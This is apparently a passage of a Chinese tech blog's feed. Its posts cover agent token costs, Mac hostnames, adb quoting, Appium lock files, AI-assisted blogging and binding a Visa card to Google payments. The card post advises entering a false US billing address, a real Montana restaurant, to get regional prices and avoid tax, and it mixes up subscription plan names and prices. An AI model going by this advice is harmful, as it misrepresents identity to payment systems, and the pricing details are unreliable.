id="拆分文件能让总成本下降多少呢？">拆分文件能让总成本下降多少呢？</h2><p>采用渐进式披露的理念，我们可以把我们工作流里面大的说明文件，按逻辑给拆分成数个小文件，让模型在执行到特定阶段的时候才去读取这个阶段的参考文档，从而减少一次性加载到模型上下文里面的token数量。</p><p>举个例子，假设这个工作流的完整说明文档需要占用30k的tokens<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>，我们可以分成两个思路来处理：</p><ol><li>全量加载：在第一次请求就让Agent读取完整的工作流说明，30k加载到上下文里面。</li><li>按需加载：把工作流按阶段拆分成几个文件，执行到某个阶段的时候，再去读取这个阶段的说明文件。假设拆分成6个文件，包含1个流程说明文件和5个阶段文件。平均每个文件5k token。</li></ol><p>从常规的思路上看，第二种方式更好，即减少了首轮加载的说明文字的token数量（只需要加载流程整体说明文件和阶段1的文件共10k token），又让Agent暂时不知道后续阶段的详情，能更关注当前阶段的工作，避免注意力偏离。</p><p>但这种方式最终能节省多少token，不能只看首轮请求变小了多少，<strong>我们来算笔账就知道了</strong>！</p><p>假设我们这个工作流涉及到200轮次的模型交互（用简单算法，就是等价于100次模型请求），我们设：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">基础模型调用：100 次</span><br><span class="line">每次调用后，历史上下文增加：2k</span><br><span class="line">所以第 n 次请求的普通历史上下文约为：2k * n</span><br></pre></td></tr></table></figure><p>先算不含工作流文档的普通上下文：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">2k * (1 + 2 + ... + 100)</span><br><span class="line">= 2k * 5050</span><br><span class="line">= 10.1m tokens</span><br></pre></td></tr></table></figure><p><strong>全量加载</strong></p><p>每次请求都额外带 30k 工作流文档：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">普通上下文：10.1m</span><br><span class="line">工作流文档：30k * 100 = 3.0m</span><br><span class="line"></span><br><span class="line">总计：13.1m tokens</span><br></pre></td></tr></table></figure><p><strong>按需加载，不算额外工具调用</strong></p><blockquote><p>这里要注意的是，拆分文档之后，会多出来5次额外阅读阶段文档的模型调用次数。</p></blockquote><p>假设每20次请求进入一个新阶段，阶段文件依次被读取：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">请求 1-19：   10k * 19 = 190k</span><br><span class="line">请求 20-39：  15k * 20 = 300k</span><br><span class="line">请求 40-59：  20k * 20 = 400k</span><br><span class="line">请求 60-79：  25k * 20 = 500k</span><br><span class="line">请求 80-100： 30k * 21 = 630k</span><br></pre></td></tr></table></figure><p>工作流文档部分：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2.02m tokens</span><br></pre></td></tr></table></figure><p>加上普通上下文：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">10.1m + 2.02m = 12.12m tokens</span><br></pre></td></tr></table></figure><p><strong>按需加载，再算 5 次额外工具调用</strong></p><p>这 5 次额外请求也要带当时已有的普通历史上下文。假设额外请求发生在大约第 1、20、40、60、80 次附近：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">普通上下文额外成本：</span><br><span class="line">2k * (1 + 20 + 40 + 60 + 80)</span><br><span class="line">= 2k * 201</span><br><span class="line">= 402k</span><br></pre></td></tr></table></figure><p>再加上这些额外请求里已加载的工作流文档。大致是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">5k + 10k + 15k + 20k + 25k = 75k</span><br></pre></td></tr></table></figure><p>所以额外工具调用成本约为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">402k + 75k = 477k</span><br></pre></td></tr></table></figure><p>最终按需加载总成本：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">12.12m + 0.477m = 12.597m tokens</span><br></pre></td></tr></table></figure><p>对比全量加载：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">全量加载：13.1m</span><br><span class="line">按需加载：12.597m</span><br><span class="line">节省：0.503m tokens</span><br><span class="line">节省比例：约 3.84%</span><br></pre></td></tr></table></figure><p>诶，确实省钱了！</p><p>对，在这个模型里，即使把额外读取阶段文档的请求算进去，按需加载仍然节省了约0.503m tokens。</p><p>但这里真正值得注意的是：这个收益不是无限大的，而是约3.84%。</p><p>这和很多人直觉中的“大幅节省”并不一样。原因是，在一个很长的Agent Loop里，真正的大头不只是那30k工作流文档，还有每一轮都会增长、并在后续请求里反复携带的普通历史上下文。</p><p>换句话说，渐进式披露确实降低了“文档预加载成本”，只是它不会消灭“历史上下文反复计费”这个基本事实。因此，文件拆分之后，真正要关注的不是“它能不能省”，而是“怎么把省下来的部分保住”。</p><h2 id="文件拆分会改变Agent-Loop">文件拆分会改变Agent Loop</h2><p>前面的计算里，按需加载比全量加载省了约3.84%。这个收益是真实存在的，但文件拆分会让Agent多出“判断阶段、读取阶段文件、进入下一阶段”的动作。如果这些动作没有被设计好，收益就会被额外loop消耗掉。</p><p>常见需要注意的点包括：</p><ol><li>阶段切换时多出额外规划请求；</li><li>反复读取index文件或同一个阶段文件；</li><li>由于幻觉读错阶段文件（这个在最新的模型里面应该很少会出现了）；</li><li>拆分后的文件重复携带公共背景、全局约束和术语解释；</li><li>其他异常让Agent Loop多跑了很多轮；</li></ol><p>这些问题不是渐进式披露本身的问题，而是文件拆分之后带来的工程问题。文件拆分让工作流更依赖Agent Loop的稳定性：如果Agent能稳定地只读必要文件、只读一次、并且不重复总结，那么按需加载通常会省token；但如果Agent在阶段之间反复规划、重读、摘要、重试，那么原本省下来的token就会被额外请求吃掉。</p><p>所以我的结论是：</p><ul><li>渐进式披露可以节省文档预加载成本；</li><li>文件拆分需要配合稳定的Agent Loop设计；</li><li>省下来的token能不能留住，取决于额外请求和重复上下文是否可控；</li></ul><p>如果要判断一个工作流到底有没有省钱，不能只看首轮上下文减少了多少，而要按请求链路拆账：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">总成本 =</span><br><span class="line">普通历史上下文成本</span><br><span class="line">+ 已加载文档在后续请求中的重复成本</span><br><span class="line">+ 额外工具调用请求成本</span><br><span class="line">+ 重复公共上下文成本</span><br><span class="line">+ tool result / summary重复保留成本</span><br><span class="line">+ cache miss带来的计费放大</span><br></pre></td></tr></table></figure><p>这也是为什么有时候你做了渐进式披露，账单下降却没有预期中明显。此时优先检查的不是“渐进式披露有没有价值”，而是Agent Loop里是否多出了请求、重复上下文和缓存损耗。</p><h2 id="总结">总结</h2><p>渐进式披露是非常好的Agent设计思路，尤其适合工具很多、skill很多、任务类型分散的个人助理式系统。它能显著降低首轮上下文压力，也能避免模型一开始就被大量无关工具和规则干扰。</p><p>但在重Agent工作流里，我们不能只看“单次请求少读了多少tokens的内容”，还要看文件拆分之后，整个循环最终多跑了多少请求、保留了多少重复内容、缓存命中了多少。</p><p>一个比较稳妥的判断标准是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">如果文档很大、阶段明确、读取次数可控，渐进式披露通常能省。</span><br><span class="line">如果阶段边界模糊、Agent经常重读和重试，收益会被吃掉。</span><br><span class="line">如果拆分导致大量公共上下文重复，需要重新设计文件结构。</span><br></pre></td></tr></table></figure><p>所以，渐进式披露可以节省消耗，但不是把一个大文件机械拆成多个小文件就结束了。它省下的是“提前加载未来信息”的成本，而文件拆分要解决的是另一个问题：让Agent Loop稳定、可预期，并且不要为了读取这些小文件制造新的浪费。</p><hr class="footnotes-sep"><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p>有关Function Call的概念，可以参考本站文章：<a href="https://blog.musnow.top/posts/5189745838?from_abbrlink=9907522705">点我</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p></li><li id="fn2" class="footnote-item"><p>对于一个重Agent工作流而言，说明文字有几十K是很正常的。 <a href="#fnref2" class="footnote-backref">↩︎</a></p></li></ol></section>]]></content>
    
    
    <summary type="html">从年初开始，skills引入的渐进式披露概念爆火。渐进式披露确实可以降低模型消耗，但文件拆分会改变Agent Loop的执行路径，需要关注额外请求、重复读取和公共上下文膨胀。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Agent智能体开发" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Agent%E6%99%BA%E8%83%BD%E4%BD%93%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="Agent开发" scheme="https://blog.musnow.top/tags/Agent%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>【Mac】修改Mac的hostname，告别局域网IP乱入</title>
    <link href="https://blog.musnow.top/posts/8278368957/"/>
    <id>https://blog.musnow.top/posts/8278368957/</id>
    <published>2026-06-04T16:40:00.000Z</published>
    <updated>2026-06-04T16:40:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Mac的hostname在初始化的时候没改，结果Mac的初始化策略神必操作，把我当时的局域网IP设成了hostname，在访达和隔空投送里面看着实在是太丑了，顺手改掉。</p><span id="more"></span><h2 id="1-起因">1. 起因</h2><p>Mac 第一次开机配置的时候，如果没手动改电脑名，系统会自作主张把<strong>当前连接的局域网 IP</strong> 设成 hostname。</p><p>然后在访达侧边栏、隔空投送的设备名、终端提示符里，全是那个 IP 地址，属实不雅观。</p><h2 id="2-解决">2. 解决</h2><p>Mac 的 hostname 其实分<strong>三个不同的名字</strong>，对应的修改命令也不一样：</p><table><thead><tr><th>名字类型</th><th>作用</th><th>能不能中文</th></tr></thead><tbody><tr><td>ComputerName</td><td>访达/隔空投送显示的名字</td><td>可以中文</td></tr><tr><td>LocalHostName</td><td>局域网 Bonjour 本地名</td><td><strong>不能中文</strong>，只能 ASCII</td></tr><tr><td>HostName</td><td>终端提示符显示的名字（关键！）</td><td>建议用 <code>.local</code> 结尾</td></tr></tbody></table><p>三条命令一次性搞定：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 访达/隔空投送显示的电脑名（可中文）</span></span><br><span class="line"><span class="built_in">sudo</span> scutil --<span class="built_in">set</span> ComputerName <span class="string">&quot;My-MacBook&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 局域网Bonjour本地名（不能中文）</span></span><br><span class="line"><span class="built_in">sudo</span> scutil --<span class="built_in">set</span> LocalHostName <span class="string">&quot;mymac&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 终端提示符HostName（关键！缺这个就会变IP）</span></span><br><span class="line"><span class="built_in">sudo</span> scutil --<span class="built_in">set</span> HostName <span class="string">&quot;mymac.local&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 刷新DNS缓存立刻生效</span></span><br><span class="line">dscacheutil -flushcache</span><br></pre></td></tr></table></figure><p>改完之后用这三条命令确认一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">scutil --get ComputerName</span><br><span class="line">scutil --get LocalHostName</span><br><span class="line">scutil --get HostName</span><br></pre></td></tr></table></figure><p>输出和你设的一样就搞定了。</p><h2 id="3-注意事项">3. 注意事项</h2><p><code>LocalHostName</code> 和 <code>HostName</code> <strong>不要设成中文</strong>，否则局域网发现会出问题，终端提示符也可能显示乱码。</p><p><code>HostName</code> 建议加上 <code>.local</code> 后缀，这是 macOS 的惯例，不加也有可能正常工作，但加了更稳。</p><hr><h2 id="The-end">The end</h2><p>有遇到同样问题的同学欢迎评论区交流！</p>]]></content>
    
    
    <summary type="html">Mac初始化时hostname被设成局域网IP的解决方法，用三条scutil命令彻底修改</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="Linux" scheme="https://blog.musnow.top/tags/Linux/"/>
    
    <category term="Mac" scheme="https://blog.musnow.top/tags/Mac/"/>
    
  </entry>
  
  <entry>
    <title>【随笔】招商银行visa金卡申请和绑定海外谷歌账户支付</title>
    <link href="https://blog.musnow.top/posts/2548094348/"/>
    <id>https://blog.musnow.top/posts/2548094348/</id>
    <published>2026-05-06T09:43:00.000Z</published>
    <updated>2026-05-10T01:55:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>招商银行申请 Visa 金卡并绑定谷歌账户海外支付。</p><span id="more"></span><h2 id="1-起因">1.起因</h2><p>工作上用 ChatGPT 的频率越来越高，Plus 订阅是绕不开的，但国内直接付美元一直是个麻烦事。翻了一圈发现招商银行有 Visa 金卡可以申请，而且绑定谷歌支付账户后可以直接走海外账单，就折腾了一下。</p><p>过程本身不复杂，但有个关键坑踩了才知道——<strong>绑卡的时候地区一定要选美国，账单地址也要填美国地址</strong>，否则会被系统定位到其他国家，然后你就发现同样是订阅 GPT Plus，价格突然就不一样了。</p><p>比如日本区现在是 16800 日元 / 月（Max 5x 那档），按当前汇率换算下来比美区 100 美元还贵，这谁受得了😂</p><h2 id="2-申请招商银行-Visa-金卡">2.申请招商银行 Visa 金卡</h2><p>这张卡的正式名称是<strong>招商银行全币种国际信用卡（VISA）</strong>，卡面是黑色，在招商银行掌上生活 App 里搜&quot;全币种&quot;就能找到，按流程申请即可。审核秒批率挺高，已有招行卡的用户基本一键通过。</p><p>申请之后不是直接邮寄，而是先发短信通知安排工作人员上门补充材料。当然也可以自己带身份证去任何招商银行线下网点办理。</p><p><strong>强烈建议去线下</strong>——我去线下填完资料，第二天就收到卡了，效率比等人上门快很多。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/05/0fd145b559ec36108b2b88ca650c66ab.gif" alt="招商银行Visa全币种国际信用卡（黑色卡面）"></p><h2 id="3-绑定谷歌账户海外支付">3.绑定谷歌账户海外支付</h2><p>拿到卡之后，进谷歌账户的付款与订阅页面添加付款方式，填写 Visa 卡号、有效期和 CVV。</p><p><strong>关键步骤在这里：</strong></p><ul><li><strong>地区/国家必须选 United States</strong></li><li><strong>账单地址要填美国地址</strong>，推荐填蒙大拿州（Montana）——美国少数几个<strong>免销售税</strong>的州之一，部分服务会按账单地址收税，填这里能省一笔</li></ul><p>我用的地址是蒙大拿州米苏拉的一家餐厅：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">875 Wyoming St Suite 101, Missoula, MT 59801</span><br></pre></td></tr></table></figure><p>随手找的，填进去就行，系统不会验证你是否真住在那里。</p><p>绑完之后建议先随便买个小额的东西验证一下卡是否正常，再去订阅正式服务。</p><h2 id="4-为什么一定要选美国">4.为什么一定要选美国</h2><p>不同国家/地区的订阅价格差异非常大，谷歌支付会根据你绑卡时设置的地区来决定走哪个区的定价。</p><p>以 ChatGPT Plus 为例（2026 年 5 月数据，汇率取中间价）：</p><ul><li>美区：$100 / 月（Max 5x 那档）≈ <strong>686 元人民币</strong></li><li>日本区：¥16800 / 月（Max 5x 那档）≈ <strong>729 元人民币</strong></li></ul><p>日本区反而比美区贵了将近 43 元，这已经完全失去了&quot;选便宜区&quot;的意义了。</p><p>所以绑卡时无论如何都要把地区选到美国，账单地址也要填美国的，不要图省事随便填。</p><h2 id="5-验证是否成功">5.验证是否成功</h2><p>绑定完成后，可以在对应平台的订阅页面确认是否生效。以 Google Play 订阅 ChatGPT Pro 为例，成功后的界面如下：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/05/3780f69cf3e29b3b8718a91c085d9419.webp" alt="谷歌Play订阅ChatGPT Pro成功截图"></p><h2 id="The-end">The end</h2><p>有任何问题，欢迎评论区交流！</p>]]></content>
    
    
    <summary type="html">国内银行申请 Visa 卡绑定海外账户，注意地区和账单地址的坑</summary>
    
    
    
    <category term="随便写写" scheme="https://blog.musnow.top/categories/%E9%9A%8F%E4%BE%BF%E5%86%99%E5%86%99/"/>
    
    
    <category term="随笔" scheme="https://blog.musnow.top/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>【工具】用AI随手写博客</title>
    <link href="https://blog.musnow.top/posts/4816793386/"/>
    <id>https://blog.musnow.top/posts/4816793386/</id>
    <published>2026-04-24T09:20:00.000Z</published>
    <updated>2026-04-24T10:12:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>平时工作挺忙的，写博客这事一直断断续续。写一篇技术文章本身不难，但写完之后还得取 abbrlink、想分类、push 到 GitHub，这些琐事堆在那儿，总觉得写博客是一件很重的事。</p><span id="more"></span><h2 id="1-起因">1.起因</h2><p>工作太忙了根本没时间写博客。操作不复杂，但就是这些零碎的事让人懒得动笔。后来想想，这些事完全可以丢给 AI 干，于是给 WorkBuddy 配了一个专门写博客的 skill。</p><blockquote><p><strong>前提</strong>：这套工作流能跑起来，核心依赖是 <strong>Hexo 博客 + CI/CD 自动部署</strong>。博客的 md 文件 push 到 GitHub 之后，Netlify 或 Vercel 会自动跑 <code>hexo g</code> 生成静态页面并部署，不需要本地有 Hexo 环境，也不需要手动 <code>hexo d</code>。换句话说，AI 帮我把 md 文件写好 push 到 GitHub，剩下的事就全是自动化的了。站内搭建教程可以参考 <a href="https://blog.musnow.top/posts/3433631517/?from_abbrlink=4816793386">使用 Netlify 和 Vercel 自动部署 Hexo</a>。</p></blockquote><p>工作太忙了根本没时间写博客。操作不复杂，但就是这些零碎的事让人懒得动笔。后来想想，这些事完全可以丢给 AI 干，于是给 WorkBuddy 配了一个专门写博客的 skill。</p><h2 id="2-博客写作skill是怎么回事">2.博客写作skill是怎么回事</h2><p>简单说，就是让 AI 学习我写博客的规范，然后让它替我做这些事。</p><p>skill 里头沉淀了这些内容：</p><ul><li>front-matter 的标准格式（abbrlink、tags、categories、summary 怎么填）</li><li>我常用的 categories 和 tags 速查表（保证 AI 不会新建不存在的分类）</li><li>正文行文风格（口语化、问题驱动叙事、节标题带数字编号）</li><li>代码块规范（终端用 ❯ 前缀、中文占位符等）</li><li>文件路径规范（哪类文章放哪个目录）</li><li>常见反模式（AI 容易犯的毛病，比如用&quot;小结&quot;节标题、无编号节标题等）</li></ul><p>skill 怎么来的？读了我 484 篇博客 + 12 个写作模板之后自动生成的 😄</p><h2 id="3-现在的写博客流程">3.现在的写博客流程</h2><p>现在写博客特别简单，我只需要<strong>口头描述一下想写什么</strong>：</p><blockquote><p>“帮我写篇博客，adb shell am start -d 启动跳链的时候，如果跳链里面有个&amp;会被截断，解决办法是adb shell以后的命令用单引号包裹，跳链本身用双引号”</p></blockquote><p>WorkBuddy 收到需求之后，自动做这些事：</p><ol><li>调用 MCP 工具取一个 abbrlink（从归档里拿第一个可用数字，同时把归档里那行删掉）</li><li>判断文章应该放哪个目录（Appium 相关 → <code>Notes/CODE/QATest/appium/</code>）</li><li>按 skill 里的规范生成 front-matter（categories、tags 都从现有池子里选，不会新增）</li><li>以我的口吻写正文（口语化、问题驱动叙事、节标题带编号）</li><li>commit + push 到 master</li></ol><p>整个过程我只需要说一句话，剩下的全是 AI 自己搞定。</p><h2 id="4-实际效果">4.实际效果</h2><p>最近写的好几篇都是这样搞的，比如：</p><ul><li>【Appium】安装 xcuitest 驱动时 npm install 报错的解决方法</li><li>【测开】adb shell am start 启动跳链时 &amp; 符号被截断的解决方法</li></ul><p>两篇都是口头需求，AI 写完之后我检查一遍，该补充的补充（比如加个 echo 管道的替代方案），然后 push。</p><h2 id="5-AI写博客的关键">5.AI写博客的关键</h2><p>说白了，AI 本身不缺能力，关键是** skill 的积累**。</p><p>给它一个写作 skill，它就能按我的风格来写；给它一个分类速查表，它就不会乱建分类。skill 越完善，AI 的输出就越接近我本人写出来的东西。</p><p>这个博客写作 skill 不是一步到位的，是读了我所有文章之后才沉淀出来的。如果你也想这么玩，核心思路就是：<strong>把你写博客的规范拆解成 skill，让 AI 按规范执行，而不是每次都从头描述要求。</strong></p><h2 id="The-end">The end</h2><p>有任何问题，欢迎评论区交流！</p>]]></content>
    
    
    <summary type="html">给AI配个skill，让它帮我搞定从写到push的全流程</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="编程工具" scheme="https://blog.musnow.top/tags/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>【测开】adb shell am start 启动跳链时 &amp; 符号被截断的解决方法</title>
    <link href="https://blog.musnow.top/posts/4494568789/"/>
    <id>https://blog.musnow.top/posts/4494568789/</id>
    <published>2026-04-24T09:12:00.000Z</published>
    <updated>2026-04-24T09:14:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>用 adb 起跳链测试，链接带 &amp; 参数时命令被截断——记录一下正确写法。</p><span id="more"></span><h2 id="1-起因">1.起因</h2><p>最近在做 deeplink 跳转的测试，需要用 adb 直接拉起一个带参数的跳链，类似这样：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adb shell am start -d <span class="string">&quot;myapp://home?from=test&amp;tab=2&quot;</span> -a android.intent.action.VIEW</span><br></pre></td></tr></table></figure><p>结果 App 收到的参数不对，一看日志，发现 <code>tab=2</code> 整个都没有传进去，跳链在 <code>&amp;</code> 那里就断了。</p><p>然后我想着，这是 shell 特殊字符的问题，加个单引号把跳链包起来不就完了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adb shell am start -d <span class="string">&#x27;myapp://home?from=test&amp;tab=2&#x27;</span> -a android.intent.action.VIEW</span><br></pre></td></tr></table></figure><p>还是不行，照样截断。</p><h2 id="2-原因">2.原因</h2><p>这里有两层 shell 在处理命令：</p><ol><li><strong>本机的 shell</strong>（你的终端，zsh/bash）</li><li><strong>设备上的 shell</strong>（adb 连进去之后的 Android shell）</li></ol><p><code>adb shell</code> 后面跟的命令，会先经过<strong>本机 shell</strong> 解析一遍，再传给<strong>设备 shell</strong> 执行。<code>&amp;</code> 在 shell 里是后台运行的特殊符号，本机 shell 一看到它就直接把命令切断了，压根轮不到设备那边去处理。</p><p>只把跳链用单引号包起来，保护的只是跳链这个字符串，而 <code>adb shell</code> 本身的参数传递还是经过了本机 shell 的解析，所以没用。</p><h2 id="3-解决">3.解决</h2><p>有两种方式可以解决这个问题。</p><p><strong>方式一：单引号包住整个命令，跳链改用双引号</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 错误写法 —— 只包了跳链，&amp; 仍然被本机 shell 截断</span></span><br><span class="line">adb shell am start -d <span class="string">&#x27;myapp://home?from=test&amp;tab=2&#x27;</span> -a android.intent.action.VIEW</span><br><span class="line"></span><br><span class="line"><span class="comment"># 正确写法 —— 单引号包住整个命令，跳链用双引号</span></span><br><span class="line">adb shell <span class="string">&#x27;am start -d &quot;myapp://home?from=test&amp;tab=2&quot; -a android.intent.action.VIEW&#x27;</span></span><br></pre></td></tr></table></figure><p>这样本机 shell 看到外层的单引号，会把里面的内容原封不动地整体传给 <code>adb shell</code>，<code>&amp;</code> 就不会被截断了。设备上的 shell 收到完整命令之后，再去解析里面的双引号和参数，一切正常。</p><p><strong>方式二：echo 管道传给 adb shell</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;am start -d &quot;myapp://home?from=test&amp;tab=2&quot; -a android.intent.action.VIEW&#x27;</span> | adb shell</span><br></pre></td></tr></table></figure><p><code>echo</code> 把命令字符串原样输出，通过管道 <code>|</code> 直接送进 <code>adb shell</code> 的标准输入执行，本机 shell 只负责跑 <code>echo</code>，不会再去解析后面的内容，<code>&amp;</code> 自然也就安全了。</p><p>两种方式效果一样，方式二在命令特别长的时候可读性稍好一点，随喜好选用。</p><h2 id="The-end">The end</h2><p>这个坑比较隐蔽，因为报错不明显——App 不会崩，只是参数悄悄丢了，定位起来挺费劲的。以后只要跳链里带 <code>&amp;</code>，直接按正确写法来就行了。</p><p>有问题欢迎评论区交流！</p>]]></content>
    
    
    <summary type="html">deeplink 里含有 &amp; 参数时，单引号包裹跳链本身并不管用，需要用单引号包裹整个 adb shell 后面的命令。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="测试开发那些事" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B/"/>
    
    
    <category term="测试开发" scheme="https://blog.musnow.top/tags/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91/"/>
    
    <category term="Appium" scheme="https://blog.musnow.top/tags/Appium/"/>
    
  </entry>
  
  <entry>
    <title>【Appium】安装 xcuitest 驱动时 npm install 报错的解决方法</title>
    <link href="https://blog.musnow.top/posts/6001406889/"/>
    <id>https://blog.musnow.top/posts/6001406889/</id>
    <published>2026-04-12T14:57:00.000Z</published>
    <updated>2026-04-12T15:04:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>最近在折腾 Appium 做 iOS 自动化，需要安装 xcuitest 驱动，没想到踩了一个莫名其妙的坑。</p><span id="more"></span><h2 id="报错现象">报错现象</h2><p>执行安装命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">appium driver install xcuitest@9.10.5</span><br></pre></td></tr></table></figure><p>终端输出如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">✔ Checking if &#x27;appium-xcuitest-driver&#x27; is compatible</span><br><span class="line">✖ Installing &#x27;xcuitest@9.10.5&#x27;</span><br><span class="line">Error: ✖ Encountered an error when installing package: npm command &#x27;install --save-dev --no-progress --no-audit --omit=peer --save-exact --global-style --no-package-lock appium-xcuitest-driver@9.10.5 --json&#x27; failed with code null.</span><br><span class="line"></span><br><span class="line">STDERR：</span><br><span class="line">STDOUT：</span><br></pre></td></tr></table></figure><p>报错信息极其简陋，STDERR 和 STDOUT 都是空的，完全没有有效提示。</p><h2 id="原因分析">原因分析</h2><p>Appium 在安装驱动时会在 <code>~/.appium/node_modules/.cache/appium/</code> 目录下创建一个 <code>.install.lock</code> 文件，用来防止并发安装冲突。如果上一次安装过程异常退出（比如强制 Ctrl+C、进程崩溃等），这个锁文件就会残留下来，导致后续的安装流程在拿锁阶段就直接失败，npm 那边甚至来不及输出任何错误信息。</p><h2 id="解决方法">解决方法</h2><p>删掉这个锁文件，然后重新安装就行了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> ~/.appium/node_modules/.cache/appium/.install.lock</span><br><span class="line">appium driver install xcuitest@9.10.5</span><br></pre></td></tr></table></figure><p>删除之后再跑一次安装，正常走完即可。</p><blockquote><p><strong>💡 后续排查思路</strong>：如果删了 <code>.install.lock</code> 之后仍然失败，建议直接用 npm 单独测试能否正常安装这个包：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install appium-xcuitest-driver@9.10.5 --save-dev</span><br></pre></td></tr></table></figure><p>如果 npm 本身报错了，说明问题出在 npm 